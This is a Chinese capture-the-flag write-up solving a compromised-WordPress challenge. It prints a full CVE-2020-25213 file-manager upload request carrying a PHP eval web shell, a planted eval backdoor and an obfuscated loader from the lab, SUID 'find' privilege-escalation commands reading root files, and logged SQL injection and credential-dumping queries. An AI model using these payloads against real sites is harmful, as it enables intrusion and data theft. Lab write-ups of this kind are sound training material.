目录

  1. 1. 前言
  2. 2. 入侵分析
  3. 3. reverse-加密迷局(Unsolved)
  4. 4. 新年隐患
  5. 5. 提权挑战
  6. 6. misc-时光追溯
  7. 7. misc-数据足迹

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CTFplus2025新春挑战赛

2025/1/28 CTF线上赛
  |     |   总文章阅读量:

前言

除夕打ctf ver3

二进制的部分不会啦 _(:3 」∠ )_


入侵分析

wpscan 加 –force 参数开扫

[+] robots.txt found: http://80-f50c110e-2ade-4954-82e6-bc11c1f14bba.challenge.ctfplus.cn/robots.txt
 | Interesting Entry: /3ysd8.html
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] WordPress readme found: http://80-f50c110e-2ade-4954-82e6-bc11c1f14bba.challenge.ctfplus.cn/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://80-f50c110e-2ade-4954-82e6-bc11c1f14bba.challenge.ctfplus.cn/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

Fingerprinting the version - Time: 00:00:57 <=============> (702 / 702) 100.00% Time: 00:00:57
[i] The WordPress version could not be detected.

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:01 <===============> (137 / 137) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 0
 | Requests Remaining: 25

3ysd8.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>备忘录</title>
</head>
<body>
<p>怕忘了,放这儿,应该没人知道吧</p>
<!-- key是  app.secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao' (www,我可爱的菀宝,我存的够安全的吧) -->
</body>
</html>

/wp-content/uploads/2025/01/ 下下载到源码

只发现一个 wpfilemanager.php 比较令人在意,搜一下,有 CVE-2020-25213

flag:flag{CVE-2020-25213_wp-file-manager}

传马

POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Host: 80-c1f4bf17-2a3c-4b73-a278-0c963f55036f.challenge.ctfplus.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=72489tgmnn16aeuar248kim1g8
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 415
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySkJwlzCQ52IPd8V5

------WebKitFormBoundarySkJwlzCQ52IPd8V5
Content-Disposition: form-data;name="cmd"

upload
------WebKitFormBoundarySkJwlzCQ52IPd8V5
Content-Disposition: form-data;name="target"

l1_
------WebKitFormBoundarySkJwlzCQ52IPd8V5
Content-Disposition: form-data; name="upload[]";filename="shell.php"
Content-Type: application/octet-stream

<?php @eval($_POST[1]);?>
------WebKitFormBoundarySkJwlzCQ52IPd8V5--

image-20250128203719059


reverse-加密迷局(Unsolved)

蚁剑连上去

发现同目录下config.php

rfHWEMTbes0uuYuHJczUCsS2ovroJHKWpYLixdKXtfqPqKWJudyRhqPatqjbjXX1raKshzfaivabqDzicra4yurenZqLgBvqcrqWfKPmu1uUfXaJqKGzDrafvKS4iqHaj0WerGKPfXfgdziEdveByvmUnYjchNXnrHC8aBznxGjEus8Olav8sZq2BBmPvXvwczfgs09wFfzrJGChDfnsuBavBauvqgfqDsOhBXBtwHGQiZqtiKBNpImYftvJga5na0WCfdKNhXngwIzPdDuxaL9sJdKIoxzFDG8ruvfvtXvvoLeDoLjQqtPtrqK2q0ztofvqqtPuAIXtvuCTxurlFLrqvYXwvw0SvLuolv1Ds35ruB4SvfCKlfeurY1erDT+uvDElarxjcXvvDCTx0nlFLerhIXtvIqSu1yolv1ds35grGKyBqv8skCKnqKkv0f4paBuhuypJB8BqD1BaI8twDqjDH8BqgyDvriyiuPmphy3nYLqcrqZf0yevKOoJd1HB0yjBaKhFaTgsvrcxa8Mf1BxoKnquqBfuLDQrf5gjHvshkPsrL1HuD9wvL1Av1WvlHCqcKjilGqvaGmcqLCCs0rCuB8VJZ1qxrKvfIG0wK0qcqfqxfa0Ja8AvKTEotnMpuWeBfusmIBgdziEdveBc0Wru0D6vMLBoLBclqXBaN5su1CSvLqafLayJHrCdYyatampfDWAgIq1mtLruuaZEI4drH8sdZTqxrC8aBznxLXDw0yZusGniKjatBmdnGL0rf0DgsCtcLajfBKwsGXAcXmSfzyCrhq6izKpoDOWfuSqBqGfaDa/gqOcazfJtBrYBZipvDydnrzDfqWrDvCyrcWxaLavDZ0CBuBmJBS+i1TDxvaMDq0zuaKugrWJtfmJjIaKqsjaJXuiqDTrotfmvcLcrKOvuqzwmuBnJBS+i1TDcriFauBNwvWiDr8dazHnfamulXqplGidqDz8DIukCDreJzG0oq5qcrqWfKP9e1imfLLm

enc.php

<?php
goto gocnm;
pyr9U:
$AeU4Z = wxrm5($ovA2n, 10);
goto ZXC1s;
bRFpO:
$kqXHn = wxrM5($G3spL, 9);
goto tDl1K;
mPUF3:
$G3spL = array(0x9, 0xc, 0x6, 0x16, 0x17, 0x6, 0x13, 0x0, 0xa);
goto bRFpO;
gocnm:
function wxrM5($RJ2kh, $R53BD)
{
    goto Te0pD;
    U_h6_:
    goto jAnQc;
    goto EUfZj;
    V51ce:
    rgswz:
    goto J8PqR;
    eOzRo:
    $hp_8p = 0;
    goto ZBeFr;
    ZBeFr:
    jAnQc:
    goto ka22G;
    dtEi1:
    $pdpKe .= chr($RJ2kh[$hp_8p] ^ $pcDaC[$hp_8p % 7]);
    goto V51ce;
    MmYXr:
    $pcDaC = array(110, 105, 99, 101, 114, 101, 118);
    goto eOzRo;
    QbNa9:
    return $pdpKe;
    goto Ju0hu;
    Te0pD:
    $pdpKe = '';
    goto MmYXr;
    J8PqR:
    $hp_8p++;
    goto U_h6_;
    ka22G:
    if (!($hp_8p < $R53BD)) {
        goto fcyLI;
    }
    goto dtEi1;
    EUfZj:
    fcyLI:
    goto QbNa9;
    Ju0hu:
}
goto mPUF3;
tDl1K:
$ovA2n = array(0xd, 0x6, 0xd, 0x3, 0x1b, 0x2, 0x58, 0x1e, 0x1, 0x13);
goto pyr9U;
ZXC1s:
call_user_func_array($kqXHn, array($AeU4Z));

$kqXHn geesecenc

$AeU4Z config.php

那么就是执行了geesecenc(config.php)

而 geesecenc 在so文件里


新年隐患

找一下可能的后门代码

(www-data:/var/www/html/wp-content/plugins) $ grep -r 'eval(' . --include=*.php 2>/dev/null
./wp-file-manager/lib/files/shell.php:<?php @eval($_POST[1]);?>
./jetpack/extensions/blocks/ai-chat/ai-response.php:                @eval($cmd);

那就在 /var/www/html/wp-content/plugins/jetpack/extensions/blocks/ai-chat/ai-response.php

<?php

    // AI Chat Module Initialization
    /* ZmxhZ3tiNGNrZDAwcl9qZXRwYWNrX2FpX2NoYXRfMjAyNH0= */
    if(isset($_POST['ai_model']) && isset($_POST['ai_prompt'])) {
        $cmd = base64_decode($_POST['ai_prompt']);
        if(md5($_POST['ai_model']) === 'd41d8cd98f00b204e9800998ecf8427e') {
            @eval($cmd);
        }
    }

解码得到flag


提权挑战

提权

(www-data:/var/www/html/wp-content/plugins/wp-file-manager/lib/files) $ find / -perm -u=s -type f 2>/dev/null
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/find
/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/mount
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
(www-data:/var/www/html/wp-content/plugins/wp-file-manager/lib/files) $ find . -exec /bin/ls /root/ \; -quit
flag.txt
(www-data:/var/www/html/wp-content/plugins/wp-file-manager/lib/files) $ find . -exec /bin/cat /root/flag.txt \; -quit
flag{SUID_Command_Injection_Found_2024}

misc-时光追溯

从phpinfo可以知道apache日志路径,把日志dump下来

find . -exec /bin/cat /var/log/apache2/access.log.bak > /tmp/1.txt \; -quit
grep -v 'WPScan' /tmp/1.txt > /tmp/6.txt

最下面

140.187.54.232 - - [24/Jan/2025:15:17:37 +0000] "POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1" 200 1460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0"
115.123.255.233 - - [24/Jan/2025:15:17:54 +0000] "GET /wp-content/plugins/wp-file-manager/lib/files/decode.php HTTP/1.1" 200 18926677 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0"
134.116.79.14 - - [24/Jan/2025:15:18:02 +0000] "GET /wp-content/plugins/wp-file-manager/lib/files/decode.php?test=123123123 HTTP/1.1" 200 16979933 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0"

那么找最早访问 connector.minimal.php 的地方

image-20250128220534719

24/Jan/2025:15:11:00-37.106.98.98-/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

flag:flag{c40bc119b7c30c0d48ac0e25749e3be0}


misc-数据足迹

(www-data:/var/www/html/wp-content/plugins/wp-file-manager/lib/files) $ find . -exec cat /var/log/mysql/slow-query.log.bak > /tmp/slow.txt \; -quit
(www-data:/var/www/html/wp-content/plugins/wp-file-manager/lib/files) $ find . -exec cat /var/log/mysql/error.log.bak > /tmp/err.txt \; -quit

dump下来后使用 sort slow.log | uniq -c清洗数据

sort slow.log | uniq -c | grep -v "timestamp" | grep -v "wp_usermeta" | grep -v "Time" | grep -v "wp_postmeta" | grep -v "Query_time" | grep -v "wp_posts" | grep -v "comment_post_ID" | grep -v "ID"
GRANT ALL PRIVILEGES ON wordpress.* TO 'hack'@'%';
SELECT * FROM (,6,7,8,9,10) AS t;
SELECT * FROM (1,2,3,4,) AS t;
SELECT * FROM (4f527564) AS t;
SELECT * FROM (4f597275) AS t;
SELECT * FROM (596c4153) AS t;
SELECT * FROM (5b77616c) AS t;
SELECT * FROM (65717f57) AS t;
SELECT * FROM (666 */) AS t;
SELECT * FROM (6c6c6f62) AS t;
SELECT * FROM (7373714d) AS t;
SELECT * FROM (747e6f63) AS t;
SELECT * FROM (7f6c637f) AS t;
SELECT * FROM (LOAD_FILE('/etc/passwd')) AS t;
SELECT * FROM (SELECT * FROM wp_users WHERE id=1) AS t;
SELECT * FROM (UNION SELECT) AS t;
SELECT * FROM wp_links WHERE link_visible = 'Y';
SELECT * FROM wp_options WHERE autoload='yes';
SELECT * FROM wp_options WHERE option_name LIKE '_site%';
SELECT * FROM wp_terms AS t INNER JOIN wp_term_taxonomy AS tt ON t.term_id = tt.term_id;
SELECT * FROM wp_terms WHERE term_id IN (SELECT term_id FROM wp_term_taxonomy);
SELECT * FROM wp_users WHERE user_login = 'admin' AND password = '' OR '1'='1';
SELECT * FROM wp_users WHERE user_login = 'admin' OR '1'='1';
SELECT * FROM wp_users WHERE user_login = 'admin' UNION SELECT null,null,null,null,null,null,null,null,null,null;
SELECT * FROM wp_users WHERE user_login LIKE 0x61646D696E;
SELECT * INTO OUTFILE '/tmp/dump.txt' FROM wp_users;
SELECT /* d7275;
SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='wp_users';
SELECT CONCAT(0x7c,user_login,0x7c,user_pass,0x7c) FROM wp_users;
SELECT CURRENT_USER();
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables;
SELECT IF(SUBSTRING(user_pass,1,1)='a',SLEEP(5),0) FROM wp_users WHERE user_login='admin';
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/wp-config.php');
SELECT SCHEMA_NAME FROM information_schema.schemata;
SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema='wordpress';
SELECT UNHEX(HEX(LOAD_FILE('/etc/passwd')));
SELECT USER();
SELECT VERSION();
SELECT id, user_login, user_pass FROM wp_users /*dump users*/;
SELECT option_name, option_value FROM wp_options WHERE option_name LIKE '%key%';
UPDATE wp_users SET user_pass = MD5('hacked') WHERE user_login = 'admin';

观察这几个子查询t的部分

6c6c6f62
747e6f63
4f527564
7373714d
4f597275
65717f57
7f6c637f
596c4153
5b77616c
666 */

因为flag的16进制是666c6167,可知是逆序加十六进制解码

解出来是flag{SQLi_slow_query_MAsster_Controll.

猜测和*/有关,找/*那行

SELECT 1 /* d7275;

那么把这个 d7275 带进去解码,就是flag

最终的flag:flag{SQLi_slow_query_MAsster_Controller}